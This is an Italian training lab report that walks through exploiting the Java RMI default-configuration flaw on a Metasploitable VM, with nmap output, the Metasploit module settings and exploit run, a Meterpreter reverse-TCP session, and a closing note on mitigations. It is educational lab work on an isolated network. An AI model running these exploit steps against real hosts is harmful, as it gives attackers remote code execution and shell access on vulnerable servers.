



EPICODE-CS0124

Progetto 08/03/24

Indice

| | |
|---|---|
| 1. Configurazione laboratorio..... | 3 |
| 2. Exploit Java-RMI code execution..... | 3 |
| 3. Exploit..... | 4 |
| 4. Conclusioni..... | 7 |

1. Configurazione laboratorio

La nostra kali avrà IP 192.168.11.111, mentre settiamo per metasploitable 192.168.11.112.

```

(kali㉿kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
    inet6 fe80::a00:27ff:fea9:39c2 prefixlen 64 scopeid 0<link>
    ether 08:00:27:a9:39:c2 txqueuelen 1000 (Ethernet)
    RX packets 116 bytes 12602 (12.3 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 34 bytes 3806 (3.7 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 4 bytes 240 (240.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 4 bytes 240 (240.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```

msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:74:94:13
          inet addr:192.168.11.112  Bcast:192.168.11.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe74:9413/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:4 errors:0 dropped:0 overruns:0 frame:0
          TX packets:124 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:332 (332.0 B)  TX bytes:12767 (12.4 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:171 errors:0 dropped:0 overruns:0 frame:0
          TX packets:171 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:50345 (49.1 KB)  TX bytes:50345 (49.1 KB)
```

2. Exploit Java-RMI code execution

Sulla porta 1099 TCP della nostra Metasploitable è attivo un servizio Java-RMI, che è una tecnologia che consente a diversi processi Java di comunicare tra di loro attraverso una rete.

La vulnerabilità in questione è dovuta ad una configurazione di default errata che permette

ad un potenziale attaccante di iniettare codice arbitrario per ottenere accesso amministrativo alla macchina target.

Effettuiamo una scansione con nmap.

```
(kali㉿kali)-[~]
└─$ nmap 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-08 10:09 CET
Nmap scan report for 192.168.11.112
Host is up (0.00011s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown

Nmap done: 1 IP address (1 host up) scanned in 13.07 seconds
```

Metasploitable presenta un servizio vulnerabile sulla **porta 1099** – Java RMI.

3. Exploit

Facciamo partire Metasploit da console con il comando **msfconsole**, e cerchiamo utilizzando la keyword «**search**» un exploit che possa fare al nostro caso: «**search java_rmi**».

Il più interessante sembra essere l'exploit in riga 1 – che nella descrizione riporta «**default configuration code execution**». Utilizziamolo con il comando «use».

```
msf6 > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  De
-  -                                     -              -      -      -
0  auxiliary/gather/java_rmi_registry        normal          No      Ja
va RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes     Ja
va RMI Server Insecure Default Configuration Java Code Execution
2  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal  No      Ja
va RMI Server Insecure Endpoint Code Execution Scanner
3  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No      Ja
va RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options
```

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
--      -
HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
RHOSTS    yes             The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099            yes       The target port (TCP)
SRVHOST   0.0.0.0         yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080            yes       The local port to listen on.
SSL       false           no        Negotiate SSL for incoming connections
SSLCert   no              Path to a custom SSL certificate (default is randomly generated)
URIPATH   no              The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
--  -
0   Generic (Java Payload)

View the full module info with the info, or info -d command.
```

Eseguito il comando «**use**», vediamo che di default Metasploit ci assegna il payload «**java/meterpreter/reverse_tcp**».

Controlliamo le opzioni da inserire utilizzando come al solito il comando «**show options**», e configuriamo il parametro RHOSTS con l'indirizzo della macchina target: «**set RHOSTS 192.168.11.112**».

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > █
```

Una volta che abbiamo configurato tutte le impostazioni ed i parametri, possiamo lanciare l'attacco con il comando «**exploit**». Se l'attacco va a buon fine, avremo una shell di Meterpreter.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/J7mx0zV
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57692 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:45080) at 2024-03-08 10:21:46 +0100

meterpreter > █
```

Il comando «**ifconfig**» che come abbiamo visto ci restituisce la configurazione di rete della macchina.

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe74:9413
IPv6 Netmask : ::
```

Ed infine, il comando «**route**» ci fa accedere alle impostazioni di routing della macchina target.

```
meterpreter > route

IPv4 network routes
=====

Subnet          Netmask          Gateway  Metric  Interface
-----          -
127.0.0.1       255.0.0.0        0.0.0.0
192.168.11.112  255.255.255.0    0.0.0.0

IPv6 network routes
=====

Subnet          Netmask          Gateway  Metric  Interface
-----          -
::1             ::              ::
fe80::a00:27ff:fe74:9413 ::              ::

meterpreter > 
```

4. Conclusioni

Oggi, abbiamo trattato l'architettura di base e il comportamento del Java Remote Method Invocation, come determinare se una vulnerabilità è presente, e come sfruttare tale vulnerabilità con Metasploit per raggiungere infine l'accesso sul bersaglio. Potremmo essere essenzialmente in grado di possedere l'intero sistema a causa di una configurazione non sicura.

Java RMI offre potenti funzionalità per il calcolo distribuito in applicazioni Java. Tuttavia, introduce rischi per la sicurezza che richiedono un'attenta considerazione e l'attuazione di pratiche di codifica sicure. Seguendo le best practice, convalidando gli input, implementando la serializzazione sicura e limitando l'accesso RMI, gli sviluppatori possono mitigare le vulnerabilità e migliorare la sicurezza delle loro applicazioni basate su Java RMI. Regolari valutazioni della sicurezza, revisioni del codice e aggiornamento con le raccomandazioni di sicurezza possono ulteriormente garantire la sicurezza delle implementazioni RMI.